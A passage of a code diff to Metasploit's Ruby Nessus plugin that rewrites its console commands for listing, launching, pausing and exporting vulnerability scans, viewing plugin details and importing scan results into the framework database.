'PluginID', - 'Plugin Name' + "Plugin ID", + "Plugin Name", + "Plugin Family", + "Vulnerability Count" ]) - print_status("Grabbing all vulns for report #{rid}") - hosts=@n.report_hosts(rid) - hosts.each do |host| - ports=@n.report_host_ports(rid, host['hostname']) - ports.each do |port| - details=@n.report_host_port_details(rid, host['hostname'], port['portnum'], port['protocol']) - details.each do |detail| - tbl << [host['hostname'], - port['portnum'], - port['protocol'], - detail['severity'], - detail['pluginID'], - detail['pluginName'] - ] - end - end + if is_scan_complete(scan_id) + details = @n.scan_details(scan_id) + details["vulnerabilities"].each { |vuln| + tbl << [ vuln["plugin_id"], vuln["plugin_name"], vuln["plugin_family"], vuln["count"] ] + } + print_line + print_line tbl.to_s + return + else + print_error("Only completed scans can be used for vulnerability reporting") + return end - print_good("Report Info") + end + + def cmd_nessus_report_host_details(*args) + if args[0] == "-h" + print_status("nessus_report_host_details ") + print_status("Example:> nessus_report_host_details 10 5") + print_status("Use nessus_scan_list to get list of all scans. Only completed scans can be used for reporting.") + print_status("Use nessus_report_hosts to get a list of all the hosts along with their corresponding host IDs.") + return + end + if !nessus_verify_token + return + end + case args.length + when 2 + scan_id = args[0] + host_id = args[1] + else + print_status("Usage: ") + print_status("nessus_report_host_detail ") + print_status("Example:> nessus_report_host_detail 10 5") + print_status("Use nessus_scan_list to get list of all scans. Only completed scans can be used for reporting.") + print_status("Use nessus_report_hosts to get a list of all the hosts along with their corresponding host IDs.") + return + end + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Plugin Name', + 'Plugin Famil', + 'Severity' + ]) + details=@n.host_detail(scan_id, host_id) print_line + print_status("Host information") + print_line("IP Address: #{details['info']['host-ip']}") + print_line("Hostname: #{details['info']['host-name']}") + print_line("Operating System: #{details['info']['operating-system']}") + print_line + print_status("Vulnerability information") + details["vulnerabilities"].each { |vuln| + tbl << [ vuln["plugin_name"], vuln["plugin_family"], vuln["severity"] ] + } print_line tbl.to_s - print_status("You can:") - print_status(" Get information from a particular host: nessus_report_host_ports ") + tbl2 = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Plugin Name', + 'Plugin Famil', + 'Severity' + ]) + print_status("Compliance information") + details["compliance"].each { |comp| + tbl2 << [ comp["plugin_name"], comp["plugin_family"], comp["severity"] ] + } + print_line tbl2.to_s + end + + def cmd_nessus_report_download(*args) + if args[0] == "-h" + print_status("nessus_scan_report_download ") + print_status("Use nessus_scan_export_status to check the export status.") + print_status("Use nessus_scan_list -c to list all completed scans along with their corresponding scan IDs") + return + end + if !nessus_verify_token + return + end + case args.length + when 2 + scan_id = args[0] + file_id = args[1] + if is_scan_complete(scan_id) + report = @n.report_download(scan_id, file_id) + File.open("#{msf_local}/#{scan_id}-#{file_id}","w+") do |f| + f.puts report + print_status("Report downloaded to #{msf_local} directory") + end + else + print_error("Only completed scans ca be downloaded") + end + else + print_status("Usage: ") + print_status("nessus_scan_report_download ") + print_status("Use nessus_scan_export_status to check the export status.") + print_status("Use nessus_scan_list -c to list all completed scans along with their corresponding scan IDs") + end end def cmd_nessus_report_host_ports(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_host_ports ") - print_status(" Example:> nessus_report_host_ports 192.168.1.250 f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status("nessus_report_host_ports ") + print_status("Example:> nessus_report_host_ports 192.168.1.250 f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") print_status() print_status("Returns all the ports associated with a host and details about their vulnerabilities") - print_status("use nessus_report_hosts to list all available hosts for a report") + print_status("Use nessus_report_hosts to list all available hosts for a report") end - - if ! nessus_verify_token + if !nessus_verify_token return end - case args.length when 2 host = args[0] rid = args[1] else print_status("Usage: ") - print_status(" nessus_report_host_ports ") - print_status(" use nessus_report_list to list all available reports") + print_status("nessus_report_host_ports ") + print_status("Use nessus_report_list to list all available reports") return end - tbl = Rex::Ui::Text::Table.new( 'Columns' => [ 'Port', @@ -1060,624 +726,954 @@ module Msf 'Sev 3' ]) ports=@n.report_host_ports(rid, host) - ports.each {|port| - tbl << [ port['portnum'], port['protocol'], port['severity'], port['svcname'], port['sev0'], port['sev1'], port['sev2'], port['sev3'] ] + ports.each { |port| + tbl << [ port['portnum'], port['protocol'], port['severity'], port['svcname'], port['sev0'], port['sev1'], port['sev2'], port['sev3'] ] } print_good("Host Info") print_good "\n" print_line tbl.to_s print_status("You can:") - print_status(" Get detailed scan infromation about a specfic port: nessus_report_host_detail ") - end - - def cmd_nessus_report_host_detail(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_host_detail ") - print_status(" Example:> nessus_report_host_ports 192.168.1.250 445 tcp f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the vulns associated with a port for a specific host") - print_status("use nessus_report_host_ports to list all available ports for a host") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 4 - host = args[0] - port = args[1] - prot = args[2] - rid = args[3] - else - print_status("Usage: ") - print_status(" nessus_report_host_detail ") - print_status(" use nessus_report_host_ports to list all available ports") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Port', - 'Severity', - 'PluginID', - 'Plugin Name', - 'CVSS2', - 'Exploit?', - 'CVE', - 'Risk Factor', - 'CVSS Vector' - ]) - details=@n.report_host_port_details(rid, host, port, prot) - details.each {|detail| - tbl << [ - detail['port'], - detail['severity'], - detail['pluginID'], - detail['pluginName'], - detail['cvss_base_score'] || 'none', - detail['exploit_available'] || '.', - detail['cve'] || '.', - detail['risk_factor'] || '.', - detail['cvss_vector'] || '.' - ] - } - print_good("Port Info") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_scan_pause_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_pause_all") - print_status(" Example:> nessus_scan_pause_all") - print_status() - print_status("Pauses all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_pause_all - - print_status("All scans have been paused") - end - - def cmd_nessus_scan_stop(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_stop ") - print_status(" Example:> nessus_scan_stop f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Stops a currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - sid = args[0] - else - print_status("Usage: ") - print_status(" nessus_scan_stop ") - print_status(" use nessus_scan_status to list all available scans") - return - end - - pause = @n.scan_stop(sid) - - print_status("#{sid} has been stopped") - end - - def cmd_nessus_scan_stop_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_stop_all") - print_status(" Example:> nessus_scan_stop_all") - print_status() - print_status("stops all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_stop_all - - print_status("All scans have been stopped") - end - - def cmd_nessus_scan_resume_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_resume_all") - print_status(" Example:> nessus_scan_resume_all") - print_status() - print_status("resumes all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_resume_all - - print_status("All scans have been resumed") - end - - def cmd_nessus_user_add(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_add ") - print_status(" Example:> nessus_user_add msf msf") - print_status() - print_status("Only adds non admin users. Must be an admin to add users.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 2 - user = args[0] - pass = args[1] - else - print_status("Usage: ") - print_status(" nessus_user_add ") - print_status(" Only adds non admin users") - return - end - - u = @n.users_list - u.each { |stuff| - if stuff['name'] == user - print_error("That user exists") - return - end - } - add = @n.user_add(user,pass) - status = add.root.elements['status'].text if add - if status == "OK" - print_good("#{user} has been added") - else - print_error("#{user} was not added") - end - end - - def cmd_nessus_user_del(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_del ") - print_status(" Example:> nessus_user_del msf") - print_status() - print_status("Only dels non admin users. Must be an admin to del users.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 1 - user = args[0] - else - print_status("Usage: ") - print_status(" nessus_user_del ") - print_status(" Only dels non admin users") - return - end - - del = @n.user_del(user) - status = del.root.elements['status'].text - if status == "OK" - print_good("#{user} has been deleted") - else - print_error("#{user} was not deleted") - end - end - - def cmd_nessus_user_passwd(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_passwd ") - print_status(" Example:> nessus_user_passwd msf newpassword") - print_status() - print_status("Changes the password of a user. Must be an admin to change passwords.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 2 - user = args[0] - pass = args[1] - else - print_status("Usage: ") - print_status(" nessus_user_passwd ") - print_status(" User list from nessus_user_list") - return - end - - pass = @n.user_pass(user,pass) - status = pass.root.elements['status'].text - if status == "OK" - print_good("#{user}'s password has been changed") - else - print_error("#{user}'s password has not been changed") - end - end - - def cmd_nessus_admin(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_admin") - print_status(" Example:> nessus_admin") - print_status() - print_status("Checks to see if the current user is an admin") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - else - print_good("Your Nessus user is an admin") - end - end - - def cmd_nessus_plugin_family(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_family ") - print_status(" Example:> nessus_plugin_family \"Windows : Microsoft Bulletins\" ") - print_status() - print_status("Returns a list of all plugins in that family.") - print_status("use nessus_plugin_list to list all plugins") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - fam = args[0] - else - print_status("Usage: ") - print_status(" nessus_plugin_family ") - print_status(" list all plugins from a Family from nessus_plugin_list") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Plugin ID', - 'Plugin Name', - 'Plugin File Name' - ]) - - family = @n.plugin_family(fam) - - family.each {|plugin| - tbl << [ plugin['id'], plugin['name'], plugin['filename'] ] - } - print_good("#{fam} Info") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_policy_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_policy_list") - print_status(" Example:> nessus_policy_list") - print_status() - print_status("Lists all policies on the server") - return - end - - if ! nessus_verify_token - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'ID', - 'Name', - 'Comments' - ]) - list=@n.policy_list_hash - list.each {|policy| - tbl << [ policy['id'], policy['name'], policy['comments'] ] - } - print_good("Nessus Policy List") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_policy_del(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_policy_del ") - print_status(" Example:> nessus_policy_del 1") - print_status() - print_status("Must be an admin to del policies.") - print_status("use nessus_policy_list to list all policies") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 1 - pid = args[0] - else - print_status("Usage: ") - print_status(" nessus_policy_del ") - print_status(" nessus_policy_list to find the id.") - return - end - - - del = @n.policy_del(pid) - status = del.root.elements['status'].text - if status == "OK" - print_good("Policy number #{pid} has been deleted") - else - print_error("Policy number #{pid} was not deleted") - end - - end - - def cmd_nessus_plugin_details(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_details ") - print_status(" Example:> nessus_plugin_details ping_host.nasl ") - print_status() - print_status("Returns details on a particular plugin.") - print_status("use nessus_plugin_list to list all plugins") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - pname = args[0] - else - print_status("Usage: ") - print_status(" nessus_policy_del ") - print_status(" nessus_plugin_list and then nessus_plugin_family to find the plugin file name.") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - '', - '' - ]) - - entry = @n.plugin_detail(pname) - print_good("Plugin Details for #{entry['name']}") - tbl << [ "Plugin ID", entry['id'] ] - tbl << [ "Plugin Family", entry['family'] ] - tbl << [ "CVSS Base Score", entry['cvss_base_score'] ] - tbl << [ "CVSS Vector", entry['cvss_vector'] ] - tbl << [ "CVSS Temporal Score", entry['cvss_temporal_score'] ] - tbl << [ "CVSS Temporal Vector", entry['cvss_temporal_vector'] ] - tbl << [ "Risk Factor", entry['risk_factor'] ] - tbl << [ "Exploit Available", entry['exploit_available'] ] - tbl << [ "Exploitability Ease", entry['exploit_ease'] ] - tbl << [ "Synopsis", entry['synopsis'] ] - tbl << [ "Description", entry['description'] ] - tbl << [ "Solution", entry['solution'] ] - tbl << [ "Plugin Pub Date", entry['plugin_publication_date'] ] - tbl << [ "Plugin Modification Date", entry['plugin_modification_date'] ] - print_good "\n" - print_line tbl.to_s + print_status("Get detailed scan infromation about a specfic port: nessus_report_host_detail ") end def cmd_nessus_report_del(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_del ") - print_status(" Example:> nessus_report_del f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status("nessus_report_del ") + print_status("Example:> nessus_report_del f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") print_status() print_status("Must be an admin to del reports.") - print_status("use nessus_report_list to list all reports") + print_status("Use nessus_report_list to list all reports") return end - - if ! nessus_verify_token + if !nessus_verify_token return end - - if ! @n.is_admin + if !@n.is_admin print_error("Your Nessus user is not an admin") return end - case args.length when 1 rid = args[0] else print_status("Usage: ") - print_status(" nessus_report_del ") - print_status(" nessus_report_list to find the id.") + print_status("nessus_report_del ") + print_status("nessus_report_list to find the id.") return end - - - del = @n.report_del(rid) - status = del.root.elements['status'].text - if status == "OK" - print_good("Report #{rid} has been deleted") - else - print_error("Report #{rid} was not deleted") - end + del = @n.report_del(rid) + status = del.root.elements['status'].text + if status == "OK" + print_good("Report #{rid} has been deleted") + else + print_error("Report #{rid} was not deleted") end - - def cmd_nessus_server_prefs(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_prefs") - print_status(" Example:> nessus_server_prefs") - print_status() - print_status("Returns a long list of server prefs.") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Name', - 'Value' - ]) - prefs = @n.server_prefs - prefs.each {|pref| - tbl << [ pref['name'], pref['value'] ] - } - print_good("Nessus Server Pref List") - print_good "\n" - print_line tbl.to_s + "\n" - end - def cmd_nessus_plugin_prefs(*args) - + def cmd_nessus_scan_list(*args) if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_prefs") - print_status(" Example:> nessus_plugin_prefs") + print_status("nessus_scan_list") + print_status("Example:> nessus_scan_list") print_status() - print_status("Returns a long list of plugin prefs.") + print_status("Returns a list of information about currently running scans.") return end - - if ! nessus_verify_token + if !nessus_verify_token return end + list=@n.scan_list + if list.to_s.empty? + print_status("No scans performed.") + return + else + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Scan ID', + 'Name', + 'Owner', + 'Started', + 'Status', + 'Folder' + ]) + + list["scans"].each { |scan| + if args[0] == "-r" + if scan["status"] == "running" + tbl << [ scan["id"], scan["name"], scan["owner"], scan["starttime"], scan["status"], scan["folder_id"] ] + end + elsif args[0] == "-p" + if scan["status"] == "paused" + tbl << [ scan["id"], scan["name"], scan["owner"], scan["starttime"], scan["status"], scan["folder_id"] ] + end + elsif args[0] == "-c" + if scan["status"] == "completed" + tbl << [ scan["id"], scan["name"], scan["owner"], scan["starttime"], scan["status"], scan["folder_id"] ] + end + elsif args[0] == "-a" + if scan["status"] == "canceled" + tbl << [ scan["id"], scan["name"], scan["owner"], scan["starttime"], scan["status"], scan["folder_id"] ] + end + else + tbl << [ scan["id"], scan["name"], scan["owner"], scan["starttime"], scan["status"], scan["folder_id"] ] + end + } + print_line tbl.to_s + end + end - if ! @n.is_admin + def cmd_nessus_scan_new(*args) + if args[0] == "-h" + print_status("nessus_scan_new ") + print_status("Use nessus_policy_list to list all available policies with their corresponding UUIDs") + return + end + if !nessus_verify_token + return + end + case args.length + when 4 + uuid = args[0] + scan_name = args[1] + description = args[2] + targets = args[3] + else + print_status("Usage: ") + print_status("nessus_scan_new ") + print_status("Use nessus_policy_list to list all available policies with their corresponding UUIDs") + return + end + if valid_policy(uuid) + print_status("Creating scan from policy number #{uuid}, called #{scan_name} - #{description} and scanning #{targets}") + scan = @n.scan_create(uuid, scan_name, description, targets) + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "Scan ID", + "Scanner ID", + "Policy ID", + "Targets", + "Owner" + ]) + print_status("New scan added") + tbl << [ scan["scan"]["id"], scan["scan"]["scanner_id"], scan["scan"]["policy_id"], scan["scan"]["custom_targets"], scan["scan"]["owner"] ] + print_status("Use nessus_scan_launch #{scan['scan']['id']} to launch the scan") + print_line tbl.to_s + else + print_error("The policy does not exist") + end + end + + def cmd_nessus_scan_launch(*args) + if args[0] == "-h" + print_status("nessus_scan_launch ") + print_status("Use nessus_scan_list to list all the availabla scans with their corresponding scan IDs") + end + if !nessus_verify_token + return + end + case args.length + when 1 + scan_id = args[0] + else + print_status("Usage: ") + print_status("nessus_scan_launch ") + print_status("Use nessus_scan_list to list all the availabla scans with their corresponding scan IDs") + return + end + launch = @n.scan_launch(scan_id) + print_good("Scan ID #{scan_id} successfully launched. The Scan UUID is #{launch['scan_uuid']}") + end + + def cmd_nessus_scan_pause(*args) + if args[0] == "-h" + print_status("nessus_scan_pause ") + print_status("Example:> nessus_scan_pause f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Pauses a running scan") + print_status("Use nessus_scan_list to list all available scans") + return + end + if !nessus_verify_token + return + end + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status("nessus_scan_pause ") + print_status("Use nessus_scan_list to list all available scans") + return + end + pause = @n.scan_pause(sid) + if pause["error"] + print_error "Invalid scan ID" + else + print_status("#{sid} has been paused") + end + end + + def cmd_nessus_db_scan(*args) + if args[0] == "-h" + print_status("nessus_db_scan ") + print_status() + print_status("Creates a scan based on all the hosts listed in db_hosts.") + print_status("Use nessus_policy_list to list all available policies with their corresponding policy IDs") + return + end + if !nessus_verify_db + return + end + if !nessus_verify_token + return + end + case args.length + when 3 + policy_id = args[0] + name = args[1] + desc = args[3] + else + print_status("Usage: ") + print_status("nessus_db_scan ") + print_status("Use nessus_policy_list to list all available policies with their corresponding policy IDs") + return + end + if !valid_policy(policy_id) + print_error("That policy does not exist.") + return + end + targets = "" + framework.db.hosts(framework.db.workspace).each do |host| + targets << host.address + targets << "," + end + targets.chop! + print_status("Creating scan from policy #{policy_id}, called \"#{name}\" and scanning all hosts in all the workspaces") + scan = @n.scan_create(policy_id, name, desc, targets) + if !scan["error"] + scan = scan["scan"] + print_status("Scan ID #{scan['id']} successfully created") + print_status("Run nessus_scan_launch #{scan['id']} to launch the scan") + else + print_error(JSON.pretty_generate(scan)) + end + end + + def cmd_nessus_db_import(*args) + if args[0] == "-h" + print_status("nessus_db_import ") + print_status("Example:> nessus_db_import 500") + print_status() + print_status("Use nessus_scan_list -c to list all completed scans") + end + if !nessus_verify_db + return + end + if !nessus_verify_token + return + end + case args.length + when 1 + scan_id = args[0] + else + print_status("Usage: ") + print_status("nessus_db_import ") + print_status("Example:> nessus_db_import 500") + print_status() + print_status("Use nessus_scan_list -c to list all completed scans") + end + if is_scan_complete(scan_id) + print_status("Exporting scan ID #{scan_id} is Nessus format...") + export = @n.scan_export(scan_id, 'nessus') + if export["file"] + file_id = export["file"] + print_good("The export file ID for scan ID #{scan_id} is #{file_id}") + print_status("Checking export status...") + status = @n.scan_export_status(scan_id, file_id) + if status == "ready" + print_status("The status of scan ID #{scan_id} export is ready") + select(nil, nil, nil, 5) + report = @n.report_download(scan_id, file_id) + print_status("Importing scan results to the database...") + framework.db.import({:data => report}) do |type,data| + case type + when :address + print_status("Importing data of #{data}") + end + end + print_good("Done") + else + print_error("There was some problem in exporting the scan. The error message is #{status}") + end + else + print_error(export) + end + else + print_error("Only completed scans could be used for import") + end + + end + + def is_scan_complete(scan_id) + complete = false + status = @n.scan_list + status["scans"].each { |scan| + if scan["id"] == scan_id.to_i && scan["status"] == "completed" + complete = true + end + } + complete + end + + def cmd_nessus_scan_pause_all(*args) + scan_ids = Array.new + if args[0] == "-h" + print_status("nessus_scan_pause_all") + print_status("Example:> nessus_scan_pause_all") + print_status() + print_status("Pauses all currently running scans") + print_status("Use nessus_scan_list to list all running scans") + return + end + if !nessus_verify_token + return + end + list = @n.scan_list + list["scans"].each { |scan| + if scan["status"] == "running" + scan_ids << scan["id"] + end + } + if scan_ids.length > 0 + scan_ids.each { |scan_id| + @n.scan_pause(scan_id) + } + print_status("All scans have been paused") + else + print_error("No running scans") + end + end + + def cmd_nessus_scan_stop(*args) + if args[0] == "-h" + print_status("nessus_scan_stop ") + print_status("Example:> nessus_scan_stop f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Stops a currently running scans") + print_status("Use nessus_scan_list to list all running scans") + return + end + if !nessus_verify_token + return + end + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status("nessus_scan_stop ") + print_status("Use nessus_scan_list to list all available scans") + return + end + stop = @n.scan_stop(sid) + if stop["error"] + print_error "Invalid scan ID" + else + print_status("#{sid} has been stopped") + end + end + + def cmd_nessus_scan_stop_all(*args) + scan_ids = Array.new + if args[0] == "-h" + print_status("nessus_scan_stop_all") + print_status("Example:> nessus_scan_stop_all") + print_status() + print_status("stops all currently running scans") + print_status("Use nessus_scan_list to list all running scans") + return + end + if !nessus_verify_token + return + end + list = @n.scan_list + list["scans"].each { |scan| + if scan["status"] == "running" || scan["status"] == "paused" + scan_ids << scan["id"] + end + } + if scan_ids.length > 0 + scan_ids.each { |scan_id| + @n.scan_stop(scan_id) + } + print_status("All scans have been stopped") + else + print_error("No running or paused scans to be stopped") + end + end + + def cmd_nessus_scan_resume(*args) + if args[0] == "-h" + print_status("nessus_scan_resume ") + print_status("Example:> nessus_scan_resume f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("resumes a running scan") + print_status("Use nessus_scan_list to list all available scans") + return + end + if !nessus_verify_token + return + end + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status("nessus_scan_resume ") + print_status("Use nessus_scan_list to list all available scans") + return + end + resume = @n.scan_resume(sid) + if resume["error"] + print_error "Invalid scan ID" + else + print_status("#{sid} has been resumed") + end + end + + def cmd_nessus_scan_resume_all(*args) + scan_ids = Array.new + if args[0] == "-h" + print_status("nessus_scan_resume_all") + print_status("Example:> nessus_scan_resume_all") + print_status() + print_status("resumes all currently running scans") + print_status("Use nessus_scan_list to list all running scans") + return + end + if !nessus_verify_token + return + end + list = @n.scan_list + list["scans"].each { |scan| + if scan["status"] == "paused" + scan_ids << scan["id"] + end + } + if scan_ids.length > 0 + scan_ids.each { |scan_id| + @n.scan_resume(scan_id) + } + print_status("All scans have been resumed") + else + print_error("No running scans to be resumed") + end + end + + def cmd_nessus_scan_details(*args) + if args[0] == "-h" + print_status("nessus_scan_details ") + print_status("Availble categories are info, hosts, vulnerabilities, and history") + print_status("Use nessus_scan_list to list all available scans with their corresponding scan IDs") + return + end + if !nessus_verify_token + return + end + case args.length + when 2 + scan_id = args[0] + category = args[1] + if category.in?(['info', 'hosts', 'vulnerabilities', 'history']) + category = args[1] + else + print_error("Invalid category. The available categories are info, hosts, vulnerabilities, and history") + return + end + else + print_status("Usage: ") + print_status("nessus_scan_details ") + print_status("Availble categories are info, hosts, vulnerabilities, and history") + print_status("Use nessus_scan_list to list all available scans with their corresponding scan IDs") + return + end + details = @n.scan_details(scan_id) + if category == "info" + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "Status", + "Policy", + "Scan Name", + "Scan Targets", + "Scan Start Time", + "Scan End Time" + ]) + tbl << [ details["info"]["status"], details["info"]["policy"], details["info"]["name"], details["info"]["targets"], details["info"]["scan_start"], details["info"]["scan_end"] ] + elsif category == "hosts" + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "Host ID", + "Hostname", + "% of Critical Findings", + "% of High Findings", + "% of Medium Findings", + "% of Low Findings" + ]) + details["hosts"].each { |host| + tbl << [ host["host_id"], host["hostname"], host["critical"], host["high"], host["medium"], host["low"] ] + } + elsif category == "vulnerabilities" + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "Plugin ID", + "Plugin Name", + "Plugin Family", + "Count" + ]) + details["vulnerabilities"].each { |vuln| + tbl << [ vuln["plugin_id"], vuln["plugin_name"], vuln["plugin_family"], vuln["count"] ] + } + elsif category == "history" + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "History ID", + "Status", + "Creation Date", + "Last Modification Date" + ]) + details["history"].each { |hist| + tbl << [ hist["history_id"], hist["status"], hist["creation_date"], hist["modification_date"] ] + } + end + print_line tbl.to_s + end + + def cmd_nessus_scan_export(*args) + if args[0] == "-h" + print_status("nessus_scan_export ") + print_status("The available export formats are Nessus, HTML, PDF, CSV, or DB") + print_status("Use nessus_scan_list to list all available scans with their corresponding scan IDs") + return + end + if !nessus_verify_token + return + end + case args.length + when 2 + scan_id = args[0] + format = args[1].downcase + else + print_status("Usage: ") + print_status("nessus_scan_export ") + print_status("The available export formats are Nessus, HTML, PDF, CSV, or DB") + print_status("Use nessus_scan_list to list all available scans with their corresponding scan IDs") + return + end + if format.in?(['nessus','html','pdf','csv','db']) + export = @n.scan_export(scan_id, format) + if export["file"] + file_id = export["file"] + print_good("The export file ID for scan ID #{scan_id} is #{file_id}") + print_status("Checking export status...") + status = @n.scan_export_status(scan_id, file_id) + if status == "ready" + print_good("The status of scan ID #{scan_id} export is ready") + else + print_error("There was some problem in exporting the scan. The error message is #{status}") + end + else + print_error(export) + end + else + print_error("Invalid export format. The available export formats are Nessus, HTML, PDF, CSV, or DB") + return + end + end + + def cmd_nessus_scan_export_status(*args) + if args[0] == "-h" + print_status("nessus_scan_export_status ") + print_status("Use nessus_scan_export to export a scan and get its file ID") + end + if !nessus_verify_token + return + end + case args.length + when 2 + scan_id = args[0] + file_id = args[1] + status = @n.scan_export_status(scan_id, file_id) + if status == "ready" + print_status("The status of scan ID #{scan_id} export is ready") + else + print_error("There was some problem in exporting the scan. The error message is #{status}") + end + else + print_status("Usage: ") + print_status("nessus_scan_export_status ") + print_status("Use nessus_scan_export to export a scan and get its file ID") + end + end + + def cmd_nessus_plugin_list(*args) + if args[0] == "-h" + print_status("nessus_plugin_list ") + print_status("Example:> nessus_plugin_list 10") + print_status() + print_status("Returns a list of all plugins in that family.") + print_status("Use nessus_family_list to display all the plugin families along with their corresponding family IDs") + return + end + if !nessus_verify_token + return + end + case args.length + when 1 + family_id = args[0] + else + print_status("Usage: ") + print_status("nessus_plugin_list ") + print_status("Use nessus_family_list to display all the plugin families along with their corresponding family IDs") + return + end + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Plugin ID', + 'Plugin Name' + ]) + list = @n.list_plugins(family_id) + list["plugins"].each { |plugin| + tbl << [ plugin["id"], plugin["name"] ] + } + print_line + print_good("Plugin Family Name: #{list['name']}") + print_line + print_line tbl.to_s + end + + def cmd_nessus_family_list(*args) + if args[0] == "-h" + print_status("nessus_family_list") + print_status("Example:> nessus_family_list") + print_status() + print_status("Returns a list of all the plugin families along with their corresponding family IDs and plugin count.") + return + end + list = @n.list_families + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Family ID', + 'Family Name', + 'Number of Plugins' + ]) + list.each { |family| + tbl << [ family["id"], family["name"], family["count"] ] + } + print_line + print_line tbl.to_s + end + + def cmd_nessus_plugin_details(*args) + if args[0] == "-h" + print_status("nessus_plugin_details ") + print_status("Example:> nessus_plugin_details 10264") + print_status() + print_status("Returns details on a particular plugin.") + print_status("Use nessus_plugin_list to list all plugins and their corresponding plugin IDs belonging to a particular plugin family.") + return + end + if !nessus_verify_token + return + end + case args.length + when 1 + plugin_id = args[0] + else + print_status("Usage: ") + print_status("nessus_plugin_details ") + print_status("Use nessus_plugin_list to list all plugins and their corresponding plugin IDs belonging to a particular plugin family.") + return + end + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Reference', + 'Value' + ]) + begin + list = @n.plugin_details(plugin_id) + rescue ::Exception => e + if e.message =~ /unexpected token/ + print_error("No plugin info found") + return + else + raise e + end + end + list["attributes"].each { |attrib| + tbl << [ attrib["attribute_name"], attrib["attribute_value"] ] + } + print_line + print_good("Plugin Name: #{list['name']}") + print_good("Plugin Family: #{list['family_name']}") + print_line + print_line tbl.to_s + end + + def cmd_nessus_user_list(*args) + if args[0] == "-h" + print_status("nessus_user_list") + print_status("Example:> nessus_user_list") + print_status() + print_status("Returns a list of the users on the Nessus server and their access level.") + return + end + if !nessus_verify_token + return + end + if !@n.is_admin + print_status("Your Nessus user is not an admin") + end + list=@n.list_users + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'ID', + 'Name', + 'Username', + 'Type', + 'Email', + 'Permissions' + ]) + list["users"].each { |user| + tbl << [ 